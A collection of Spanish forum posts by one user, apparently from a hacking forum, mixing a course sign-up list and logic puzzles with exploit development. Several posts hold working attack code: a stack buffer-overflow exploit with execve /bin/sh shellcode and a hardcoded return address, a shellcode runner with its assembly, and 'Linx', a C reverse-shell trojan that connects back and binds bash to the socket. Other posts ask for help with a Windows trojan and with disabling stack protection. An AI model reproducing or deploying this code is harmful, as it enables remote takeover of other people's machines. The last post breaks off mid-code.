Estuve hablando con Ivanchuck, las conferencias irán antes de las entregas, que serán de apoyo. Las conferencias serán de 30 min de teoría y 30 de práctica. Se resolverán dudas, que se reescribirán contestadas aquí, y se explicará todo.
Cualquier sugerencia a alguno de los dos...
----------------------------------------------------------------

Te esperamos!
PD: Iré modificando con la lista de interesados.
PD2: Para las conferencias podríamos usar Skype, pero no es fijo...
Modf: ¡ Todas las dudas de la organizacion del cuso aquí !

Ya inscritos!
----------------
Ivanchuk
Sagrini
Kisk
Leulocito
CL10
alexkof158
jackgris
ryan parker
jcrack
nascent
wirelesswifi
G0kuu_G0kuu
onox
s3tH
Bytheface
mr.blood
pablomi
Oblivi0n
kingdarnakes
Debci
Yoya
daniel666999
SnakingMax
.mokk.
Felurian
Godhomeless
Bloddyy
Ca0s
Shell Root
xelenne
isma7007
upow
Extermineitorhack
GhostLT
Diabliyo
Belial & Grimoire
pajaras
Tomi24
MrPoor
d3xf4ult
SokarTefnut
tero_34
nosoqui
nengon
joseelbarbaro
RedZer
Sr. Blanco
Nardo [N]
Luiggi2
bomba1990
drift_bit
Иōҳ
----------------
Writters & Mods: 2 [Ivanchuk & Sagrini]
Users: 50.


Os espero!
#10
Es solo por curiosidad, evidentemente. El PC es mio jeje...
Bueno, hice esto en mi Linux...

juanra@Juanra:~$ sudo su
[sudo] password for juanra:
root@Juanra:/home/juanra# cat /var/log/faillog
tty1��CMtty1��AM
root@Juanra:/home/juanra# cat /var/log/faillog | hexdump -C
00000000  00 00 00 00 74 74 79 31  00 00 00 00 00 00 00 00  |....tty1........|
00000010  d8 f4 43 4d 00 00 00 00  00 00 00 00 00 00 00 00  |..CM............|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00005dc0  00 00 00 00 74 74 79 31  00 00 00 00 00 00 00 00  |....tty1........|
00005dd0  9a b6 41 4d 00 00 00 00                           |..AM....|
00005dd8
root@Juanra:/home/juanra#

Bueno, solo veo tty1 y unos bytes extraños:

216 244 67 77
154 182 65 77
-------------
d8 f4 43 4d
9a b6 41 4d

Arriba decimal, abajo ASCII. Que puede ser? Y como lo descifro? Gracias!
#11
Bueno, ahi va el titulo, la cosa es que tengo un programita con una vulnerabilidad y lo estoy explotando. El otro dia consegui manejar el transcurso de la aplicacion, y ahora abrir una shellcode...
Lo hago asi:
./vuln [23 NOPS + 25 Shellcode + 4 RET]
La idea la saque de un post antiguo del foro... Evidentemente se puede cambiar la posicion de los Nops, pero bueno...

Bueno, consigo la shellcode al correrlo asi:

./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$

Pero a la hora de hacer el exploit...

juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$ gdb -q exploit
(gdb) r
Starting program: /home/juanra/Escritorio/Shell/exploit

Program received signal SIGSEGV, Segmentation fault.
0xb77521f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb)


Tengo este codigo, en el que también va como comentario el vulnerable...

/*
First BoF Linux attack : Sagrini 2010 : elhacker.net
23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59

gcc -o vuln vuln.c --no-stack-protector -g -z execstack
./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$

gcc -o exploit exploit.c
./exploit
$

------------------------------------------
!!! Vuln code !!!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void soy_vuln(char *arg)
{
char buffer [48];
strcpy (buffer, arg);
}

int main(int argc, char *argv[])
{
if (argc != 2) return 1;
soy_vuln(argv[1]);
}
------------------------------------------
*/

#include <stdio.h>
#include <string.h>

int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net");

char nops [23];
memset (nops, '\x90', 23);
char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret [4] = "\x18\x1f\x9b\xbf";

char command [59];
strcpy (command, "./vuln ");
strcpy (command, nops);
strcpy (command, shellcode);
strcpy (command, ret);
execve (command, command, NULL);

return 0;
}



Ahora mi pregunta es... ¿Qué falla?
#12
Bueno, estuve buscando por el foro pero lo poco que he encontrado es que para crear una encuesta le das a "Crear encuesta". Ese texto tendra sus años... Por que en algunos foros, como en el libre, no se pueden hacer encuestas? Y en cuales si se puede?

Es una dudilla que me ha salido al ver este post, si alguien lo quiere saber...
http://foro.elhacker.net/dudas_generales/poner_link_prolijamente-t317302.0.html;msg1570636;boardseen#new
Mensaje de Novlucker...
#13
Bueno, estoy teniendo un problemilla con algunos mensajes que "desaparecen"...
Estuve leyendo las normas, y se que la informacion es secreta  :¬¬ pero... Hay alguien en la papelera que vaya mirando si los post estan bien borrados?
#15
Bueno, tengo un proyectito en las manos, pero no quiero empezarlo hasta acabar esta tonteria...
Escribo esto aqui porque el tema "No puedo sobreescribir EIP" ya no seria... "correcto"

Bueno, hice un programa muy sencillito, BoF, para explotarlo en Linux. Desactivo protecciones, y me encuentro con que
Mi code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv [])
{
if (argc != 2) return 1;
char buffer [4];
strcpy (buffer, argv [1]);
return 0;
}


int feo ()
{
printf ("Hola");
exit (1);
}

Ahora, corro en GDB, y...

(gdb) r $(perl -e 'print "A"x8 ."B"x4;')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x8 ."B"x4;')

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main ()
(gdb)

Por que no me muestra el mensajito de "Cann't access memory at position 0x41414141"?
PD: Tengo la shellcode lista y preparada... Gracias por leer y (espero) vuestras respuestas.
PD2: Aparte, la shellcode es para luego. Lo que quiero es que me salte a la funcion feo. Mas tarde metere la shellcode...
#16
Bueno, el otro dia lei que elhacker.net estaba en un server de EE.UU. Es eso cierto?
He mirado en el Geo-Localizador y me da en Tampa, EEUU. Que tiene allí montado Alex? Quiero decir... para administracion, EEUU. Esta el alli, o se pega viajecitos cada dos dias por nosotros?

Desde aqui elogio su esfuerzo xD. Tiene que ser dificilisimo. Todo lo que quieras... César, aquí tienes a tu ejército jaja. Si necesitas lo que sea...
#17
Pues eso  ::). Es por curiosidad. Os habeis portado bien?
A mi me han traido el Call of Duty Modern Warfare y juego muy bueno de fichas con las que tienes que ir haciendo "construcciones". Para pasar el rato xD tira para largo...  ;) Bueno y un boli... por ahora. Ahora aprovecho la tradicion y visito a mi abuela  :silbar:
#18
Bueno, escribo este post para comentaros el programa que hice para el concurso de 2010 de elhacker.net:
http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html

Bueno, pues la cosa es que el programa no tuvo mucha aceptacion, creo principalmente porque su uso era dificil y mas de uno se obstino en hacerlo arrancar...

Citar
hK 2.0 - By Sagrini (2010) - elhacker.net
Para Linux / Unix / BSD : Ansi C
Ehn-Dev concurso 2010

Argumentos: <opciones> <datos>
Opciones:
-d --> Corre el programa en modo daemon.
-v --> Corre el programa en la consola.

-l <port> --> Espera una conexion y printa los datos recibidos.
-c <ip> <port> --> Se conecta a la IP por X puerto y envia datos.
-z <ip> --> Realiza un scan de la IP.

Usos:
-1: Obtencion datos victima, puerto 80, info. de navegador y sistema, junto con No-IP, mini-chat, mini-server...
-2: Envio de buffers over-flow de manera sencilla, telnet, mini-chat...
-3: Obtencion de los puertos abiertos de una manera rapida y sencilla.
-4: Todo lo que la imaginacion de un buen hacker quiera darle.

Compilacion: gcc -o hK hK.c

Descripcion:
   hK es una eficaz herramienta, escrita en lenguaje Ansi C, con multiples usos. Tiene varias formas de uso:
      1.- Escuchar en determinado puerto a la espera de una conexion.
          Sus usos en este mundillo pueden ser tanto obtencion de datos como la de chat, server...
      2.- Mini-Telnet, con la facilidad de uso de un juguete.
          Sus usos pueden ir de mandar buffers over-flow como de entablar un chat.
      3.- El mini-scanner incorporado hace mas facil la auditoria de sistemas, por su sencillo uso.

Como ven la presentacion era mala, y la explicacion...

Entonces me acorde de el cuando algun que otro usuario tuvo un problema con sockets en C.
Este post es sencillamente para que vean y examinen el code, lo cual poca gente tuvo en cuenta a la hora de votar  :-(.

Bueno, su estructura es sencilla. Lo unico lioso puede ser el uso de argumentos... Perdoooon.
La cosa es que el primer argumento era una palabra con las opciones del programa...
Sus usos podian ser:
./hK vl 31337  En consola. Espera conexion.
./hK vc 127.0.0.1 31337 En consola. Conecta.
./hK vz 127.0.0.1 En consola. Mira puertos abiertos

./hK dl 31337  Daemon. Espera conexion.
./hK dc 127.0.0.1 31337 Daemon. Conecta.
./hK dz 127.0.0.1 Daemon. Mira puertos abiertos


Pues os dejo el code y os pido lo mireis y opineis.
PD: Sii, ya se que el code es pesimo y muy sencillo y aburrido... Tened en cuenta que lo hice en muy poco tiempo xD...
----
Este post es referencia al uso de sockets. No piensen mal...
Expresa una sencilla forma de usarlos. Es un ejemplo de uso de sockets en un programa.

Esto es una pequeña avanzadilla. Voy a escribir un manual de sockets en C. Es de adelantado. Usaremos este code en el post...
#19
Hace poco he visto en un anuncio (si, sigo viendo la tele, por desgracia...) que Cuatro era parte de Telecinco. Es eso cierto?
#20
Bueno, me puse a buscar por google algo para entretenerme :P y encontre esto:
http://platea.pntic.mec.es/jescuder/logica.htm
Pongo aqui los 100 primeros. Soluciones !!!

1.  SILENCIO. Si Ángela habla más bajo que Rosa y Celia habla más alto que Rosa, ¿habla Ángela más alto o más bajo que Celia?

2.  LA NOTA MEDIA. La nota media conseguida en una clase de 20 alumnos ha sido de 6. Ocho alumnos han suspendido con un 3 y el resto superó el 5. ¿Cuál es la nota media de los alumnos aprobados?

3.  LOS CUATRO ATLETAS. De cuatro corredores de atletismo se sabe que C ha llegado inmediatamente detrás de B, y D ha llegado en medio de A y C. ¿Podría Vd. calcular el orden de llegada?

4.  SEIS AMIGOS DE VACACIONES. Seis amigos desean pasar sus vacaciones juntos y deciden, cada dos, utilizar diferentes medios de transporte; sabemos que Alejandro no utiliza el coche ya que éste acompaña a Benito que no va en avión. Andrés viaja en avión. Si Carlos no va acompañado de Darío ni hace uso del avión, podría Vd. decirnos en qué medio de transporte llega a su destino Tomás.

5.  LOS CUATRO PERROS. Tenemos cuatro perros: un galgo, un dogo, un alano y un podenco. Éste último come más que el galgo; el alano come más que el galgo y menos que el dogo, pero éste come más que el podenco. ¿Cuál de los cuatro será más barato de mantener?

6.  TENIS DE CATEGORÍA. En un partido del prestigioso torneo de tenis de Roland Garros se enfrentaron Agasy y Becker. El triunfo correspondió al primero por 6-3 y 7-5. Comenzó sacando Agasy y no perdió nunca su saque. Becker perdió su servicio dos veces. Agasy rompió el servicio de su rival en el segundo juego del primer set y, ¿en qué juego del segundo set?

7.  SERPIENTES MARINAS. Un capitán en el Caribe fue rodeado por un grupo de serpientes marinas, muchas de las cuales eran ciegas. Tres no veían con los ojos a estribor, 3 no veían nada a babor, 3 podían ver a estribor, 3 a babor, 3 podían ver tanto a estribor como a babor, en tanto que otras 3 tenían ambos ojos arruinados. ¿Cuál es el mínimo número de serpientes necesarias para que con ellas se den todas esas circunstancias?

8.  EL PARO AUMENTA. Con motivo de realizar un estudio estadístico de los componentes de una población, un agente analizó determinadas muestra de familias. El resultado fue el siguiente:
        1) Había más padres que hijos.
        2) Cada chico tenía una hermana.
        3) Había más chicos que chicas.
        4) No había padres sin hijos.
        ¿Qué cree Vd. que le ocurrió al agente?

9.  PARTIDO DE TENIS. Santana ganó a Orantes un set de tenis por 6-3. Cinco juegos los ganó el jugador que no servía. ¿Quién sirvió primero?

10. CABALLOS. El caballo de Mac es más oscuro que el de Smith, pero más rápido y más viejo que el de Jack, que es aún más lento que el de Willy, que es más joven que el de Mac, que es más viejo que el de Smith, que es más claro que el de Willy, aunque el de Jack es más lento y más oscuro que el de Smith. ¿Cuál es el más viejo, cuál el más lento y cuál el más claro?

      En ocasiones, ciertas personas se encuentran en una situación crítica, y sólo por su agudeza e inteligencia pueden salir de ella.

11. EL EXPLORADOR CONDENADO. Un explorador cayó en manos de una tribu de indígenas, se le propuso la elección entre morir en la hoguera o envenenado. Para ello, el condenado debía pronunciar una frase tal que, si era cierta, moriría envenenado, y si era falsa, moriría en la hoguera. ¿Cómo escapó el condenado a su funesta suerte?

12.  EL PRISIONERO Y LOS DOS GUARDIANES. Un sultán encierra a un prisionero en una celda con dos guardianes, uno que dice siempre la verdad y otro que siempre miente. La celda tiene dos puertas: la de la libertad y la de la esclavitud. La puerta que elija el prisionero para salir de la celda decidirá su suerte.
         El prisionero tiene derecho de hacer una pregunta y sólo una a uno de los guardianes. Por supuesto, el prisionero no sabe cuál es el que dice la verdad y cuál es el que miente.
         ¿Puede el prisionero obtener la libertad de forma segura?

13.  EL PRISIONERO Y LOS TRES GUARDIANES. Imaginemos que hay tres puertas y tres guardias, dos en las condiciones anteriores y el tercero que dice verdad o mentira alternativamente. ¿Cuál es el menor número de preguntas que debe hacer para encontrar la libertad con toda seguridad?

14.  LOS 3 PRESOS Y LAS BOINAS (1). El director de una prisión llama a tres de sus presos, les enseña tres boinas blancas y dos boinas negras, y les dice: «Voy a colocar a cada uno de ustedes una boina en la cabeza, el primero de ustedes que me indique el color de la suya será puesto en libertad».
         Si los presos están en fila, de manera que el primero no puede ver las boinas de los otros dos, el segundo ve la boina del primero y el tercero ve las boinas de los otros dos. ¿Por qué razonamiento uno de los presos obtiene la libertad?

15.  LOS 3 PRESOS Y LAS BOINAS (2). El director de una prisión llama a tres de sus presos, les enseña tres boinas blancas y dos boinas negras, y les dice: «Voy a colocar a cada uno de ustedes una boina en la cabeza, el primero de ustedes que me indique el color de la suya será puesto en libertad».
         Si los presos pueden moverse, y por tanto ver las boinas de los otros dos. ¿Por qué razonamiento uno de los presos obtiene la libertad?

16.  LOS MARIDOS ENGAÑADOS. Cuarenta cortesanos de la corte de un sultán eran engañados por sus mujeres, cosa que era claramente conocida por todos los demás personajes de la corte sin excepción. Únicamente cada marido ignoraba su propia situación.
      El sultán: «Por lo menos uno de vosotros tiene una mujer infiel. Quiero que el que sea la expulse una mañana de la ciudad, cuando esté seguro de la infidelidad».
         Al cabo de 40 días, por la mañana, los cuarenta cortesanos engañados expulsaron a sus mujeres de la ciudad. ¿Por qué?

17.

18. EL CONDENADO A MUERTE. En los tiempos de la antigüedad la gracia o el castigo se dejaban frecuentemente al azar. Así, éste es el caso de un reo al que un sultán decidió que se salvase o muriese sacando al azar una papeleta de entre dos posibles: una con la sentencia "muerte", la otra con la palabra "vida", indicando gracia. Lo malo es que el Gran Visir, que deseaba que el acusado muriese, hizo que en las dos papeletas se escribiese la palabra "muerte". ¿Cómo se las arregló el reo, enterado de la trama del Gran Visir, para estar seguro de salvarse? Al reo no le estaba permitido hablar y descubrir así el enredo del Visir.

19. LAS DEPORTISTAS. Ana, Beatriz y Carmen. Una es tenista, otra gimnasta y otra nadadora. La gimnasta, la más baja de las tres, es soltera. Ana, que es suegra de Beatriz, es más alta que la tenista. ¿Qué deporte practica cada una?

20.   SILOGISMOS.  Ejemplo que está en todos los manuales de lógica elemental. El silogismo:
       «Los hombres son mortales,
         Sócrates es hombre.
         Luego, Sócrates es mortal».
         es indudablemente conocido e inevitablemente válido. Qué ocurre con el siguiente:
       «Los chinos son numerosos,
         Confucio es chino.
         Luego, Confucio es numeroso».

21. EL TORNEO DE AJEDREZ. En un torneo de ajedrez participaron 30 concursantes que fueron divididos, de acuerdo con su categoría, en dos grupos. En cada grupo los participantes jugaron una partida contra todos los demás. En total se jugaron 87 partidas más en el segundo grupo que en el primero. El ganador del primer grupo no perdió ninguna partida y totalizó 7'5 puntos. ¿En cuántas partidas hizo tablas el ganador?

22. LAS TRES CARTAS. Tres naipes, sacados de una baraja francesa, yacen boca arriba en una fila horizontal. A la derecha de un Rey hay una o dos Damas. A la izquierda de una Dama hay una o dos Damas. A la izquierda de un corazón hay una o dos picas. A la derecha de una pica hay una o dos picas. Dígase de qué tres cartas se trata.

23. TRES PAREJAS EN LA DISCOTECA. Tres parejas de jóvenes fueron a una discoteca. Una de las chicas vestía de rojo, otra de verde, y la tercera, de azul. Sus acompañantes vestían también de estos mismos colores. Ya estaban las parejas en la pista cuando el chico de rojo, pasando al bailar junto a la chica de verde, le habló así:
     Carlos: ¿Te has dado cuenta Ana? Ninguno de nosotros tiene pareja vestida de su mismo color.
        Con esta información, ¿se podrá deducir de qué color viste el compañero de baile de la chica de rojo?

24. BLANCO, RUBIO Y CASTAÑO. Tres personas, de apellidos Blanco, Rubio y Castaño, se conocen en una reunión. Poco después de hacerse las presentaciones, la dama hace notar:
         "Es muy curioso que nuestros apellidos sean Blanco Rubio y Castaño, y que nos hayamos reunido aquí tres personas con ese color de cabello"
         "Sí que lo es -dijo la persona que tenía el pelo rubio-, pero habrás observado que nadie tiene el color de pelo que corresponde a su apellido." "¡Es verdad!" -exclamó quien se apellidaba Blanco.
         Si la dama no tiene el pelo castaño, ¿de qué color es el cabello de Rubio?

25. LOS CIEN POLÍTICOS. Cierta convención reunía a cien políticos. Cada político era o bien deshonesto o bien honesto. Se dan los datos:
         a) Al menos uno de los políticos era honesto.
         b) Dado cualquier par de políticos, al menos uno de los dos era deshonesto. ¿Puede determinarse partiendo de estos dos datos cuántos políticos eran honestos y cuántos deshonestos?
#21
Bueno, acabo de conseguir que mi pezqueñina empiece a funcionar... Como Rojodos, yo comparto mi alegria jaja  ;-) ;-) ;-)

#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
(*(void(*)()) code)();
return 0;
}


Código (asm) [Seleccionar]

BITS 32
; excve ()

xor eax, eax ; Ponemos EAX a cero para bytes nulos
push eax ; Metemos los ceros en la pila
push 0x68732f2f ; Metemos "//sh". La segunda barra no importa. Además alinea.
push 0x6e69622f ; Metemos "/bin". Alineados en la pila
mov ebx, esp ; Metemos la direccion en EBX
push eax ; Mas bytes nulos ...
mov edx, esp ; ... para el entorno de 3º argumento
push ebx ; Metemos la direccion de la cadena en la pila
mov ecx, esp ; Y se la pasamos como direccion
mov al, 11 ; excve = syscall 11
int 0x80 ; Ejecutamos


00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  89 e2 53 89 e1 b0 0b cd  80                       |..S......|
00000019


Quiero agradecerle a todos que me hayan ayudado a crearla, con pequeñas ayudas, tanto en el foro de ASM, como en el de C.
Especialmente se lo agradezco a Eternal Idol, que fue el que estuvo echandome una mano en mi primer programa, y en mi primera shellcode, y el que me ayudo en mis comienzos tanto en C como en ASM
Cito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja]
Os doy las gracias a todos los staffs por el gran trabajo que haceis, y a la comunidad en total, por echarme una manita tambien.

Disfrutad de la shellcode y muchas gracias !
#22
ASM / .:. Shellcode 2 ASM .:.
2 Enero 2011, 22:47 PM
Bueno, perdonadadme el titulo, un poco estafalario xD...
Bueno, mi duda es...
Tengo una shellcode, y me gustaria saber las intstrucciones en ensamblador que tiene... Como hago eso?
Para el que lo quiera saber, mi shellcode es:
Código (asm) [Seleccionar]
\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"
          "\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"
          "\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81

Bueno, es para analizarla.. Ocupa bastante pocos bytes, va a ser interesante xD...
Bueno, es pasar eso a ensamblador... como?
#23
Bueno, el titulo es demasiado explicito, creo yo...
Estoy buscando el Windows XP Profesional de 32 bits, pero para 64 bits. No me refiero a XP 64 bits, sino al de 32 adaptado para 64...
Se puede?
#24
Bueno, tengo un code sencillo, sencillamente escribe una A en la terminal... Por algo se empieza  :P
La cosa es que no escribe nada...
Código (asm) [Seleccionar]

global _start

section .code
_start:
mov eax, 0x4   ; write (1, "A", 1);
mov ebx, 0x1
mov ecx, 0x42
mov edx, 0x2
int 80H

mov eax, 1 // return 0;
xor ebx, ebx
int 80H

Citar
nano code.s
nasm -f elf -o code.o code.s
ld -m elf_i386 -o code code.o
chmod 777 *
./code

Bueno, donde esta el fallo? Recuerden que es mi primer code xD...
Alguna idea en algo tan simple?

Pd: De paso, ahora mismito me voy a leer un libro de ASM, a ver si descubro algo  :P
#25
Modifico : Ubuntu 9.04 64 bits modo de compatibilidad !

Buenas, escribo esto por un problema que me ha surgido al intentar explotar una sencilla aplicación evidentemente vulnerable... El caso es que al saber cuantos nops le tengo que meter a la pila para que vaya, me ha dado un bonito error.
Mi code (para no entenderlo xD):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv [])
{
char buffer [8];
strcpy (buffer, argv [1]);

printf ("You said : %s", buffer);
return 0;
}

El fallo:
Citar*** stack smashing detected ***: ./code terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb77d4ef8]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb77d4eb0]
./code[0x80484b6]
[0x41414141]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:06 5267571    /home/juanra/Escritorio/code
08049000-0804a000 r--p 00000000 08:06 5267571    /home/juanra/Escritorio/code
0804a000-0804b000 rw-p 00001000 08:06 5267571    /home/juanra/Escritorio/code
09d9d000-09dbe000 rw-p 09d9d000 00:00 0          [heap]
b76d6000-b76d7000 rw-p b76d6000 00:00 0
b76d7000-b7833000 r-xp 00000000 08:06 353269     /lib/tls/i686/cmov/libc-2.9.so
b7833000-b7834000 ---p 0015c000 08:06 353269     /lib/tls/i686/cmov/libc-2.9.so
b7834000-b7836000 r--p 0015c000 08:06 353269     /lib/tls/i686/cmov/libc-2.9.so
b7836000-b7837000 rw-p 0015e000 08:06 353269     /lib/tls/i686/cmov/libc-2.9.so
b7837000-b783a000 rw-p b7837000 00:00 0
b783b000-b7848000 r-xp 00000000 08:06 335937     /lib/libgcc_s.so.1
b7848000-b7849000 r--p 0000c000 08:06 335937     /lib/libgcc_s.so.1
b7849000-b784a000 rw-p 0000d000 08:06 335937     /lib/libgcc_s.so.1
b784a000-b784d000 rw-p b784a000 00:00 0
b784d000-b784e000 r-xp b784d000 00:00 0          [vdso]
b784e000-b786a000 r-xp 00000000 08:06 335886     /lib/ld-2.9.so
b786a000-b786b000 r--p 0001b000 08:06 335886     /lib/ld-2.9.so
b786b000-b786c000 rw-p 0001c000 08:06 335886     /lib/ld-2.9.so
bfcbe000-bfcd3000 rw-p bffea000 00:00 0          [stack]
You said : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACancelado

Se que es una proteccion de la pila xD... pero no se como desactivarla para seguir...
Alguien me puede ayudar a desactivar la proteccion de la pila?
Muchas gracias xD!
#26
Bueno, me he metido en este apasionante mundo, y me he puesto a probar algo...
Tengo este code:
#include <stdio.h>
#include <string.h>
#include <windows.h>

int fff ()
{
WinExec ("calc.exe", SW_MAX);
}

int main(int argc, char **argv)
{
if (argc != 2) return 1;
char buff[12];
strcpy(buff,argv[1]);
printf("\nHas escrito:   %s\n",buff);

return 0;
}

Es simple. Meto 24 nops y 4 numeros con la direccion de fff. A mi me da 0x4013c0. Como ven es una direccion de 3 "digitos".
Bueno ¿ Qué hago con el cuarto ?

#include <windows.h>
#include <strcpy.h>

int main ()
{
char buff [28];
int i;
for (i = 0; i <= 23; i++)
buff [i] = '\90'

/*
Aqui van las declaraciones de buff [24 / 27] (menos 1 por el 0).
La cosa es que tengo tres numeros donde van cuatro.
*/

char command [33];
strcpy (command, "code ");
strcat (command, buff);
WinExec (command);
}


El exploit es sencillo, pero no se que hacer. Pido perdais 5 segundos de vuestro tiempo contestandome xD!!!
Que hago? Como seria el exploit?

Espero sus prontas respuestas.
Y sí, he mirado en google y en el foro...

Aparte, uso Windows Vista 64 bits...
#27
Bueno, la cosa es que estoy haciendo un troyano en Windows Vista y 7 en C. He estado probando varias formas, pero no me da resultado. La pregunta es...

¿Por qué los troyanos en Windows XP funcionan y en Vista / 7 no?
Supongo que sera por algun cambio en el sistema operativo, pero deberian funcionar, ¿no?
¿Qué cambia para que no funcionen?
#28
Buenas, el otro dia me puse a pasar "Linx" a Windows Vista, para mas utilidad... Ya me entienden.
El caso es que al abrir no funciona correctamente... Podrian postear el fallo por favor?
Que falla para que no corra?

Espero respuestas. Gracias por adelantado!

PD: Code abajo...
#29
Programación C/C++ / [C] Linux Trojan & dup2 ()
18 Diciembre 2010, 15:55 PM
Terminado y corregido... El problema era que se me olvido cerrar los descriptores estandar...
Corrigiendo code...
Recuerdo que no esta terminado. Posteen mejoras, etc..

#include <time.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>



struct sockaddr_in host;

int sockfd;



int execsock (int socket, char program [])

{

close(0);

close(1);

close(2);



dup2(socket, 0);

dup2(socket, 1);

dup2(socket, 2);



execve(program, NULL, NULL);

return 0;

}



int main (int argc, char *argv [])

{

time_t now=time (0);

struct tm *ahora;

char hora [40];

ahora=localtime ((const time_t*)&now);

strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);

printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora);



if (argc == 3)

{

host.sin_addr.s_addr = inet_addr (argv [1]);

host.sin_port = htons (atoi (argv [2]));

host.sin_family = AF_INET;

memset (host.sin_zero, 0, 8);

}

else

{

host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!

host.sin_port = htons (31337);

host.sin_family = AF_INET;

memset (host.sin_zero, 0, 8);

}



printf ("Iniciando...\t");

sockfd = socket (2, 1, 0);

if (sockfd != -1)
{

printf ("[OK]\nConectando...\t\a");
}

else

{

printf ("[FAIL]\n\n");

return 1;

}


while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
sleep (1);

printf ("[OK]\nLanzando sell...\t[OK]");
daemon (1, 0);

execsock (sockfd, "/bin/bash");

close (sockfd);

return 0;

}



Ahora, el problema esta en que al compilar y correr, no me escribe correctamente lo que le digo: Atencion aqui:
printf ("[OK]\nConectando...\t\a");
Linea sencilla no? Pues no me postea lo de "Conectando" hasta que alguien no se conecta, o sea, la sigiente liena...
#30
Juegos y Consolas / Juegas al Airsoft ? Que usas ?
12 Diciembre 2010, 13:11 PM
Buenas, un tema de curiosidad. Quien juega al airsoft aqui? no lo digo por jugar con el xD, curiosidad...
En caso de que jugueis, que replicas llevais?

A mi me gustaria jugar, llevaria una MP-5 Galaxy y una pistola auto pequeñita para cortas distancias ....
#31
Buenas, estaba pensando como hacer un programa multiplataforma con los macros #ifdef y #endif, pero no se como. Hace poco vi un code, pero ya no se cual es, y no me acuerdo. Era preguntando con macros si el sistema era Win_(algo) o Unix_(Algo) y no me acuerdo de ese algo xD!!!

Como lo haria???
#32
#include <sys/socket.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <signal.h>
#include <time.h>

int socketfd, newsocket;
char *filename;

void shutup (int signal)
{
FILE *log;
log=fopen (filename, "a+");
times ();
printf ("Shutting down...\n\n");
fprintf (log, "Shutting down...\n\n");
fclose (log);
close (newsocket);
close (socketfd);
exit (0);
}

int times ()
{
FILE *log;
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
log=fopen (filename, "a+");
printf ("%s   ", buffer);
fprintf (log,"%s   ", buffer);
fclose (log);
return 0;
}

int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);

if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc<3)
{
printf ("Use: %s <PORT> <LOG> [MODE]\nMode:\t\t0) Fork the proccess to background [DEFAULT].\n\t\t1) Run in the terminal.\n\n", argv [0]);
return 1;
}
int cont;
FILE *log;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);

filename = argv [2];

socketfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));

listen (socketfd, 3);

log=fopen (filename, "a+");
times ();
if (argv [3] != NULL && atoi (argv [3]) == 1)
printf ("\nStarting up...\n\n");
fprintf (log, "Starting up...\n\n");
fclose (log);

signal (SIGTERM, shutup);
signal (SIGINT, shutup);


if (argv [3] == NULL || atoi (argv [3]) == 0)
daemon (1, 0);

while (1)
{
